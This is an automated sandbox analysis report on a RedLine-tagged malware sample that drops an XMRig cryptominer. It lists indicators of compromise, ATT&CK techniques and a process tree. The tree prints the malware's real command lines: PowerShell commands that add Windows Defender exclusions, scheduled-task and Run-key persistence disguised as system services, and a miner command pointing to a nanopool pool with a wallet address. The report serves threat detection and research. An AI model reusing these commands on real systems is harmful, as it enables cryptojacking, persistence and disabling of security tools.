redline | ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral1/files/0x0006000000022f34-144.dat	xmrig
behavioral1/files/0x0006000000022f34-146.dat	xmrig
behavioral1/memory/788-150-0x0000000000850000-0x0000000001378000-memory.dmp	xmrig
behavioral1/memory/2056-154-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/2056-155-0x0000000140343234-mapping.dmp	xmrig
behavioral1/memory/2056-157-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/2056-159-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/2056-162-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/2056-166-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/files/0x0006000000023358-230.dat	xmrig

Downloads MZ/PE file

Executes dropped EXE 5 IoCs

pid	Process
4248	Updater.exe
788	Setup.exe
2972	System.exe
4504	dllhost.exe
4892	winlogson.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Setup.exe

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/4084-132-0x0000000000400000-0x000000000147D000-memory.dmp	themida
behavioral1/memory/4084-134-0x0000000000400000-0x000000000147D000-memory.dmp	themida
behavioral1/memory/4084-148-0x0000000000400000-0x000000000147D000-memory.dmp	themida

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 12 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Cortana = "C:\\Program Files\\WindowsApps\\Microsoft.x64__8wekyb3gfdfdgd8bbwe\\Cortana.exe"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "C:\\Windows\\System32\\wbem\\WmiPrvSE.exe"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AntiMalwareServiceExecutable = "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2111.5-0\\MsMpEng.exe"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpd = "C:\\Program Files\\WindowsApps\\Microsoft.x64__8wekyb3gfdfdgd8bbwe/file.exe"	dllhost.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\PLMKAHMCIHMKAHL = "C:\\Windows\\system32\\Updater.exe"	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\DPLHGIDHGAOHGIO = "C:\\Windows\\system32\\Setup.exe"	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "C:\\ProgramData\\Dllhost\\dllhost.exe"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveService = "C:\\Program Files\\WindowsApps\\Microsoft.x64__8wekyb3gfdfdgd8bbwe/file.exe"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealthSystray = "C:\\Windows\\System32\\SecurityHealthSystray.exe"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender = "C:\\Program Files\\Windows Defender\\MpCmdRun.exe"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvStray = "C:\\Program Files\\WindowsApps\\Microsoft.x64__8wekyb3gfdfdgd8bbwe / file.exe"	dllhost.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Setup.exe	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe
File opened for modification	C:\Windows\SysWOW64\Setup.exe	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe
File created	C:\Windows\SysWOW64\Updater.exe	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe
File opened for modification	C:\Windows\SysWOW64\Updater.exe	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4084	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4248 set thread context of 2004	4248	Updater.exe	84
PID 788 set thread context of 2056	788	Setup.exe	89

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4144	788	WerFault.exe	85

Creates scheduled task(s) 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
444	schtasks.exe
4616	schtasks.exe
4236	schtasks.exe
4204	schtasks.exe
2840	schtasks.exe
4640	schtasks.exe
3104	schtasks.exe
448	schtasks.exe
2140	schtasks.exe
1332	schtasks.exe
1648	schtasks.exe
2064	schtasks.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
788	Setup.exe
788	Setup.exe
788	Setup.exe
788	Setup.exe
788	Setup.exe
2004	vbc.exe
2004	vbc.exe
2972	System.exe
1756	powershell.exe
1756	powershell.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe
4504	dllhost.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	788	Setup.exe
Token: SeLockMemoryPrivilege	2056	ngentask.exe
Token: SeLockMemoryPrivilege	2056	ngentask.exe
Token: SeDebugPrivilege	2004	vbc.exe
Token: SeDebugPrivilege	2972	System.exe
Token: SeDebugPrivilege	1756	powershell.exe
Token: SeDebugPrivilege	4504	dllhost.exe
Token: SeLockMemoryPrivilege	4892	winlogson.exe
Token: SeLockMemoryPrivilege	4892	winlogson.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2056	ngentask.exe
4892	winlogson.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4084 wrote to memory of 4248	4084	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe	83
PID 4084 wrote to memory of 4248	4084	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe	83
PID 4084 wrote to memory of 4248	4084	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe	83
PID 4248 wrote to memory of 2004	4248	Updater.exe	84
PID 4248 wrote to memory of 2004	4248	Updater.exe	84
PID 4248 wrote to memory of 2004	4248	Updater.exe	84
PID 4248 wrote to memory of 2004	4248	Updater.exe	84
PID 4084 wrote to memory of 788	4084	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe	85
PID 4084 wrote to memory of 788	4084	ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe	85
PID 4248 wrote to memory of 2004	4248	Updater.exe	84
PID 788 wrote to memory of 2064	788	Setup.exe	87
PID 788 wrote to memory of 2064	788	Setup.exe	87
PID 788 wrote to memory of 2056	788	Setup.exe	89
PID 788 wrote to memory of 2056	788	Setup.exe	89
PID 788 wrote to memory of 2056	788	Setup.exe	89
PID 788 wrote to memory of 2056	788	Setup.exe	89
PID 788 wrote to memory of 2056	788	Setup.exe	89
PID 788 wrote to memory of 2056	788	Setup.exe	89
PID 788 wrote to memory of 2056	788	Setup.exe	89
PID 788 wrote to memory of 2056	788	Setup.exe	89
PID 788 wrote to memory of 2056	788	Setup.exe	89
PID 788 wrote to memory of 2056	788	Setup.exe	89
PID 788 wrote to memory of 2056	788	Setup.exe	89
PID 788 wrote to memory of 2056	788	Setup.exe	89
PID 788 wrote to memory of 2056	788	Setup.exe	89
PID 788 wrote to memory of 2056	788	Setup.exe	89
PID 2004 wrote to memory of 2972	2004	vbc.exe	97
PID 2004 wrote to memory of 2972	2004	vbc.exe	97
PID 2004 wrote to memory of 2972	2004	vbc.exe	97
PID 2972 wrote to memory of 3144	2972	System.exe	100
PID 2972 wrote to memory of 3144	2972	System.exe	100
PID 2972 wrote to memory of 3144	2972	System.exe	100
PID 3144 wrote to memory of 2212	3144	cmd.exe	102
PID 3144 wrote to memory of 2212	3144	cmd.exe	102
PID 3144 wrote to memory of 2212	3144	cmd.exe	102
PID 3144 wrote to memory of 1756	3144	cmd.exe	103
PID 3144 wrote to memory of 1756	3144	cmd.exe	103
PID 3144 wrote to memory of 1756	3144	cmd.exe	103
PID 2972 wrote to memory of 4504	2972	System.exe	104
PID 2972 wrote to memory of 4504	2972	System.exe	104
PID 2972 wrote to memory of 4504	2972	System.exe	104
PID 4504 wrote to memory of 3940	4504	dllhost.exe	105
PID 4504 wrote to memory of 3940	4504	dllhost.exe	105
PID 4504 wrote to memory of 3940	4504	dllhost.exe	105
PID 4504 wrote to memory of 4948	4504	dllhost.exe	106
PID 4504 wrote to memory of 4948	4504	dllhost.exe	106
PID 4504 wrote to memory of 4948	4504	dllhost.exe	106
PID 4504 wrote to memory of 4808	4504	dllhost.exe	107
PID 4504 wrote to memory of 4808	4504	dllhost.exe	107
PID 4504 wrote to memory of 4808	4504	dllhost.exe	107
PID 4504 wrote to memory of 4540	4504	dllhost.exe	111
PID 4504 wrote to memory of 4540	4504	dllhost.exe	111
PID 4504 wrote to memory of 4540	4504	dllhost.exe	111
PID 4504 wrote to memory of 4244	4504	dllhost.exe	112
PID 4504 wrote to memory of 4244	4504	dllhost.exe	112
PID 4504 wrote to memory of 4244	4504	dllhost.exe	112
PID 4504 wrote to memory of 1564	4504	dllhost.exe	114
PID 4504 wrote to memory of 1564	4504	dllhost.exe	114
PID 4504 wrote to memory of 1564	4504	dllhost.exe	114
PID 4504 wrote to memory of 1644	4504	dllhost.exe	116
PID 4504 wrote to memory of 1644	4504	dllhost.exe	116
PID 4504 wrote to memory of 1644	4504	dllhost.exe	116
PID 4504 wrote to memory of 1152	4504	dllhost.exe	120
PID 4504 wrote to memory of 1152	4504	dllhost.exe	120

C:\Users\Admin\AppData\Local\Temp\ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe
"C:\Users\Admin\AppData\Local\Temp\ee10496e97091facfa2d36aa690c3ed3cf7eb080d1b36b99067d6871d2106d46.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4084
- C:\Windows\SysWOW64\Updater.exe
  "C:\Windows\system32\Updater.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4248
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2004
  - - C:\Users\Admin\AppData\Local\Temp\System.exe
      "C:\Users\Admin\AppData\Local\Temp\System.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2972
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C chcp 1251 & powershell -Command Add-MpPreference -ExclusionPath "$ENV:USERPROFILE\Desktop" & powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData\Dllhost" & powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData\SystemData"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3144
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 1251
        6⤵
        
        PID:2212
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath "$ENV:USERPROFILE\Desktop"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1756
    - - C:\ProgramData\Dllhost\dllhost.exe
        
        "C:\ProgramData\Dllhost\dllhost.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4504
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:3940
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4204
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:4948
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4236
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:4808
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:444
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:4540
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:2140
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:4244
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:1332
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:1564
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:1644
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:2840
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesService_bk5408" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:3936
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesService_bk5408" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:3104
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:1152
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:448
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesService_bk3835" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:3180
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesService_bk3835" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4616
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableService_bk356" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:4840
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableService_bk356" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4640
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostService_bk6583" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        6⤵
        
        PID:4724
        
        C:\Windows\SysWOW64\schtasks.exe
        
        SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostService_bk6583" /TR "C:\ProgramData\Dllhost\dllhost.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:1648
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c chcp 1251 & C:\ProgramData\Dllhost\winlogson.exe -c config.json
        6⤵
        
        PID:2760
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 1251
        7⤵
        
        PID:1680
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c chcp 1251 & C:\ProgramData\Dllhost\winlogson.exe -c config.json
        6⤵
        
        PID:1276
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 1251
        7⤵
        
        PID:3696
        
        C:\ProgramData\Dllhost\winlogson.exe
        
        C:\ProgramData\Dllhost\winlogson.exe -c config.json
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:4892
- C:\Windows\SysWOW64\Setup.exe
  "C:\Windows\system32\Setup.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:788
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 3 /tn "MicrosoftEdgeUpdate" /tr "C:\Users\Admin\AppData\Roaming\DataSellSetupMutex\RegVBS.exe.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:2064
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe --algo rx/0 --donate-level 0 --max-cpu-usage 60 -oxmr-eu1.nanopool.org:14444 -u 42CqPp3vCd3EurYa4S5wYdFJzNFEtgwc7VmmGzq4BQtz7rWKxVyjQQ8hFvB4P49FmCeLu8NrfN5t1S8oCbkaaVd34YvGvQN
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:2056
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 788 -s 1456
    3⤵
    - Program crash
    PID:4144

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 788 -ip 788
1⤵
PID:5044

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

T1064

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

T1112

Scripting

T1064

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery